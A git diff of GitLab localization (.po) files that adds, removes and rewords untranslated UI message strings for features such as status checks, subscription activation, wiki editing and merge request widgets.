+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Преминаване към клон/етикет"
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Време преди първата заÑвка за Ñливане"
@@ -33417,9 +34087,6 @@ msgstr[1] "мин"
msgid "Time|s"
msgstr "Ñек"
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Качване на файл"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr "Използване на глобалната Ви наÑтройка Ð
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr "ÐÑма доÑтатъчно данни за този етап."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/bn_BD/gitlab.po b/locale/bn_BD/gitlab.po
index 40a059bd64e..67e6aea05ac 100644
--- a/locale/bn_BD/gitlab.po
+++ b/locale/bn_BD/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: bn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:12\n"
+"PO-Revision-Date: 2021-06-01 20:22\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
